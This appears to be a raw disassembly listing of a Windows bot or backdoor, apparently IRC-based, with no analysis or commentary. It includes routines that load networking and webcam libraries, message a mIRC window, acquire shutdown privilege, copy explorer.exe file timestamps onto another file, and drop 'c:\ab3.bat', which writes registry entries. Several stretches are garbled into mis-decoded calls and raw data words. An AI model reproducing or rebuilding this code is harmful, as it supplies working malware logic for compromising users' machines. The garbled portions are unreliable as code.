		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_406235:				; CODE XREF: sub_4061ED+1Aj
		cmp	ds:dword_42FAE0, esi
		jz	short loc_406269
		push	ds:dword_42FAE4
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_406269:				; CODE XREF: sub_4061ED+4Ej
		cmp	ds:dword_42FAE8, esi
		jz	short loc_40629D
		push	ds:dword_42FAEC
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_40629D:				; CODE XREF: sub_4061ED+82j
		cmp	ds:dword_42FAF0, esi
		jz	short loc_4062D1
		push	ds:dword_42FAF4
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_4062D1:				; CODE XREF: sub_4061ED+B6j
		cmp	ds:dword_42FAF8, esi
		jz	short loc_406305
		push	ds:dword_42FAFC
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_406305:				; CODE XREF: sub_4061ED+EAj
		cmp	ds:dword_42FB00, esi
		jz	short loc_406339
		push	ds:dword_42FB04
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_406339:				; CODE XREF: sub_4061ED+11Ej
		cmp	ds:dword_42FB08, esi
		jz	short loc_40636D
		push	ds:dword_42FB0C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_40636D:				; CODE XREF: sub_4061ED+152j
		cmp	ds:dword_42FB10, esi
		jz	short loc_4063A1
		push	ds:dword_42FB14
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_4063A1:				; CODE XREF: sub_4061ED+186j
		cmp	ds:dword_42FB18, esi
		jz	short loc_4063D5
		push	ds:dword_42FB1C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_4063D5:				; CODE XREF: sub_4061ED+1BAj
		cmp	ds:dword_42FB20, esi
		jz	short loc_406409
		push	ds:dword_42FB24
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_406409:				; CODE XREF: sub_4061ED+1EEj
		cmp	ds:dword_42FB28, esi
		jz	short loc_40643D
		push	ds:dword_42FB2C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_40643D:				; CODE XREF: sub_4061ED+222j
		cmp	ds:dword_42FB30, esi
		jz	short loc_406471
		push	ds:dword_42FB34
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_406471:				; CODE XREF: sub_4061ED+256j
		cmp	ds:dword_42FB38, esi
		jz	short loc_4064A5
		push	ds:dword_42FB3C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_4064A5:				; CODE XREF: sub_4061ED+28Aj
		cmp	ds:dword_42FB40, esi
		jz	short loc_4064D9
		push	ds:dword_42FB44
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 20h


loc_4064D9:				; CODE XREF: sub_4061ED+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_4201BC
		push	eax
		call	sub_4104AF
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_406506
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_406506:				; CODE XREF: sub_4061ED+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407AB1
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4061ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406518	proc near		; CODE XREF: seg000:004098CAp
					; seg000:004098FEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4065A3
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4065A3
		cmp	[ebp+arg_8], esi
		jz	short loc_4065A3
		cmp	byte ptr [eax],	0
		jz	short loc_4065A3
		push	ebx
		push	edi
		call	sub_41ABF9
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40659E
		push	[ebp+arg_4]
		push	edi
		call	sub_4109F0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_406597
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_411C90
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_410A70
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_411E60
		push	[ebp+arg_4]
		call	sub_410A70
		add	eax, esi
		push	eax
		push	ebx
		call	sub_411AE0
		push	ebx
		push	edi
		call	sub_411AD0
		add	esp, 30h
		mov	esi, edi


loc_406597:				; CODE XREF: sub_406518+3Cj
		push	ebx
		call	sub_410B5F
		pop	ecx


loc_40659E:				; CODE XREF: sub_406518+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4065A5
; ---------------------------------------------------------------------------


loc_4065A3:				; CODE XREF: sub_406518+Cj
					; sub_406518+13j ...
		xor	eax, eax


loc_4065A5:				; CODE XREF: sub_406518+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_406518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4065A9	proc near		; CODE XREF: sub_408DCB+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_410870
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_410A70
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_4065DF
		or	eax, 0FFFFFFFFh
		jmp	short loc_406652
; ---------------------------------------------------------------------------


loc_4065DF:				; CODE XREF: sub_4065A9+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_406601


loc_4065EB:				; CODE XREF: sub_4065A9+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4065F8
		cmp	dl, 0Dh
		jnz	short loc_4065FC


loc_4065F8:				; CODE XREF: sub_4065A9+48j
		and	byte ptr [ecx+esi], 0


loc_4065FC:				; CODE XREF: sub_4065A9+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4065EB


loc_406601:				; CODE XREF: sub_4065A9+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_406632
		lea	edi, [ebp+var_7CC]


loc_40660E:				; CODE XREF: sub_4065A9+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40662D
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40662D
		cmp	ebx, 1F4h
		jge	short loc_406632
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40662D:				; CODE XREF: sub_4065A9+69j
					; sub_4065A9+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40660E


loc_406632:				; CODE XREF: sub_4065A9+5Dj
					; sub_4065A9+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_406650
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_410510
		add	esp, 0Ch


loc_406650:				; CODE XREF: sub_4065A9+8Ej
		mov	eax, ebx


loc_406652:				; CODE XREF: sub_4065A9+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4065A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_406656	proc near		; CODE XREF: sub_4066B0+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40668F
		push	ebx
		mov	ebx, edi


loc_406673:				; CODE XREF: sub_406656+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_406692
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_406673
		pop	ebx


loc_40668F:				; CODE XREF: sub_406656+18j
		pop	edi
		pop	esi
		retn
sub_406656	endp


; =============== S U B	R O U T	I N E =======================================



sub_406692	proc near		; CODE XREF: sub_406656+25p
					; sub_4066B0+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_411FB7
		cmp	al, 61h
		pop	ecx
		jl	short loc_4066AD
		cmp	al, 7Ah
		jg	short loc_4066AD
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4066AD:				; CODE XREF: sub_406692+Ej
					; sub_406692+12j
		xor	eax, eax
		retn
sub_406692	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4066B0	proc near		; CODE XREF: sub_407B91+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_411C60
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_410A70
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_410A70
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_406656
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4066EE:				; CODE XREF: sub_4066B0+B6j
		test	esi, esi
		jle	short loc_40676C
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_411FB7
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_411FB7
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406764


loc_406714:				; CODE XREF: sub_4066B0+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_406692
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_406735
		mov	eax, ecx


loc_406735:				; CODE XREF: sub_4066B0+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_406768
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_411FB7
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_411FB7
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_406714


loc_406764:				; CODE XREF: sub_4066B0+62j
		dec	edi
		dec	esi
		jmp	short loc_4066EE
; ---------------------------------------------------------------------------


loc_406768:				; CODE XREF: sub_4066B0+8Aj
		xor	eax, eax
		jmp	short loc_406771
; ---------------------------------------------------------------------------


loc_40676C:				; CODE XREF: sub_4066B0+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_406771:				; CODE XREF: sub_4066B0+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4066B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406776	proc near		; CODE XREF: seg000:0040C11Ep
					; seg000:0040CAD5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0A70000h
		pop	ebp
		lea	eax, [ebp+var_100]


loc_4067AF:				; CODE XREF: sub_406776+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4067BB
		cmp	cl, 9
		jnz	short loc_4067BE


loc_4067BB:				; CODE XREF: sub_406776+3Ej
		inc	eax
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067BE:				; CODE XREF: sub_406776+43j
					; sub_406776+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4067D8
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4067BE
		cmp	cl, 21h
		jl	short loc_4067BE


loc_4067D8:				; CODE XREF: sub_406776+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_42FB48
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41099A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406776	endp


; =============== S U B	R O U T	I N E =======================================



sub_406800	proc near		; CODE XREF: seg000:0040D517p
		push	esi
		push	0
		call	ds:dword_42F9E8
		test	eax, eax
		jz	short loc_406837
		push	1
		call	ds:dword_42FA08
		mov	esi, eax
		test	esi, esi
		jz	short loc_406837
		push	edi
		push	esi
		call	ds:dword_41C0B8	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_41C0B4	; GlobalUnlock
		call	ds:dword_42FA6C
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_406837:				; CODE XREF: sub_406800+Bj
					; sub_406800+19j
		xor	eax, eax
		pop	esi
		retn
sub_406800	endp


; =============== S U B	R O U T	I N E =======================================



sub_40683B	proc near		; CODE XREF: seg000:0040CA84p
		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_42FA24
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4068B7
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0A70000h
		pop	edi
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0A70000h
		push	ebp
		push	dword ptr [esp+14h]
		mov	ebx, eax
		push	ebx
		call	sub_4104AF
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_42FA74
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_42FA74
		push	ebx
		call	near ptr 0A70000h
		movsd
		push	edi
		call	ds:dword_41C068	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4068B9
; ---------------------------------------------------------------------------


loc_4068B7:				; CODE XREF: sub_40683B+16j
		xor	eax, eax


loc_4068B9:				; CODE XREF: sub_40683B+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40683B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068BD	proc near		; CODE XREF: seg000:0040898Cp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_42FAD4
		test	eax, eax
		jz	short loc_40695C
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41C070
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi ; dword_41C070
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40695C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 0A70000h
		pop	ds
		push	ebx
		mov	ebx, ds:dword_41C068
		call	ebx ; dword_41C068
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; dword_41C070
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40695C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 0A70000h
		push	eax
		push	esi
		call	ebx ; dword_41C068


loc_40695C:				; CODE XREF: sub_4068BD+2Aj
					; sub_4068BD+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4068BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_406961	proc near		; CODE XREF: seg000:00409FCCp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_40EFCD
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_42F960
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_406961	endp

; ---------------------------------------------------------------------------


loc_406983:				; CODE XREF: seg000:0040824Fp
					; seg000:0040D787p
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_422498, esi
		push	edi
		jz	short loc_4069A7
		cmp	ds:dword_42FAE8, esi
		jnz	short loc_4069A7
		push	esi
		call	sub_407CC0
		pop	ecx


loc_4069A7:				; CODE XREF: seg000:00406996j
					; seg000:0040699Ej
		call	sub_410124
		lea	eax, [ebp-764h]
		push	eax
		push	400h
		call	near ptr 0A70000h
		mov	esp, 0F89C858Dh
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0A0858D50h, 68FFFFFDh, 4203F8h, 9AD9E850h, 0C4830000h
		dd 0A0858D0Ch, 56FFFFFDh, 56026A56h, 6856h, 0FF504000h
		dd 41C07015h, 3BF88B00h, 0C860FFEh, 8D000001h, 0FFFDA085h
		dd 858D50FFh, 0FFFFF89Ch, 4203B468h, 9CE85000h,	8300009Ah
		dd 458D0CC4h, 8D5056FCh, 0FFF89C85h, 49E850FFh,	590000A0h
		dd 9C858D50h, 50FFFFF8h, 95CAE857h, 57340066h, 0C06815FFh
		dd 106A0041h, 56EC458Dh, 9E26E850h, 446A0000h, 5FA8458Dh
		dd 0E8505657h, 9E18h, 8918C483h, 4BFA87Dh, 8D000001h, 0FFFEA485h
		dd 565057FFh, 58B445C7h, 0C70042E6h, 1D445h, 89660000h
		dd 7DE8D875h, 3C006695h, 9576E850h, 8D820066h, 0FFFEA485h
		dd 15FF50FFh, 41C074h, 74FFF883h, 0A4858D12h, 68FFFFFEh
		dd 80h,	9552E850h, 8DA10066h, 0FFFEA485h, 858D50FFh, 0FFFFFDA0h
		dd 9C858D50h, 68FFFFF8h, 42039Ch, 99E1E850h, 0C4830000h
		dd 9C858D10h, 57FFFFFCh, 9C858D50h, 50FFFFF8h, 66951BE8h
		dd 458DE900h, 458D50ECh, 565650A8h, 400868h, 56016A00h
		dd 0FC9C858Dh, 5056FFFFh, 94FAE856h, 5F0B0066h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B0B	proc near		; CODE XREF: seg000:004087A1p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_411C60
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCAb3_bat ; "c:\\ab3.bat"
		push	eax
		movsb
		call	sub_4104AF
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41C070	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short near ptr loc_406BC4+1
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 0A70000h
		jbe	short near ptr loc_406BD8+3
		call	ds:dword_41C068	; CloseHandle
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	near ptr 0A70000h


loc_406BC4:				; CODE XREF: sub_406B0B+55j
		mov	bl, 5Fh
		pop	esi
		leave
		retn
sub_406B0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BC9	proc near		; CODE XREF: sub_40134E+7p
					; sub_404073+52p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_42FA58
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_406BF1


loc_406BD8:				; CODE XREF: sub_406B0B+77j
		push	[esp+arg_0]
		call	ds:dword_42FA9C
		test	eax, eax
		jnz	short loc_406BEA
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_406BEA:				; CODE XREF: sub_406BC9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_406BF1:				; CODE XREF: sub_406BC9+Dj
		retn
sub_406BC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BF2	proc near		; CODE XREF: sub_408C63+D6p
		mov	ecx, ds:dword_42F940
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_406C00
		call	ecx ; dword_42F940

locret_406C00:				; CODE XREF: sub_406BF2+Aj
		retn
sub_406BF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C01	proc near		; CODE XREF: seg000:loc_40D4C9p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_42FA94
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_406CC7
		sub	ecx, 32h
		jz	loc_406CC0
		sub	ecx, 48h
		jz	short loc_406C61
		sub	ecx, 6Eh
		jz	short loc_406C5A


loc_406C43:				; CODE XREF: sub_406C01+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_421BD8
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		jmp	short loc_406CA1
; ---------------------------------------------------------------------------


loc_406C5A:				; CODE XREF: sub_406C01+40j
		push	offset unk_421BA0
		jmp	short loc_406C93
; ---------------------------------------------------------------------------


loc_406C61:				; CODE XREF: sub_406C01+3Bj
		push	[ebp+var_8]
		call	sub_410AEB
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_410870
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_406C8E
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_42FA94
		cmp	eax, edi
		jz	short loc_406CC7
		jmp	short loc_406C43
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_406C01+79j
		push	offset unk_421B5C


loc_406C93:				; CODE XREF: sub_406C01+5Ej
					; sub_406C01+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_406CA1:				; CODE XREF: sub_406C01+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_407AB1
		pop	ecx


loc_406CB1:				; CODE XREF: sub_406C01+C8j
					; sub_406C01+DCj
		push	esi
		call	sub_410B5F
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_406CC0:				; CODE XREF: sub_406C01+32j
		push	offset unk_421B18
		jmp	short loc_406C93
; ---------------------------------------------------------------------------


loc_406CC7:				; CODE XREF: sub_406C01+29j
					; sub_406C01+89j
		cmp	[esi], edi
		jbe	short loc_406CB1
		lea	ebx, [esi+4]


loc_406CCE:				; CODE XREF: sub_406C01+DAj
		push	ebx
		call	ds:dword_42FA90
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_406CCE
		jmp	short loc_406CB1
sub_406C01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CDF	proc near		; CODE XREF: seg000:00401610p
					; sub_40235F+4Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F9BC
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_42FD4C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4104AF
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406CDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_406D38	proc near		; CODE XREF: seg000:00401754p
					; seg000:00401799p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
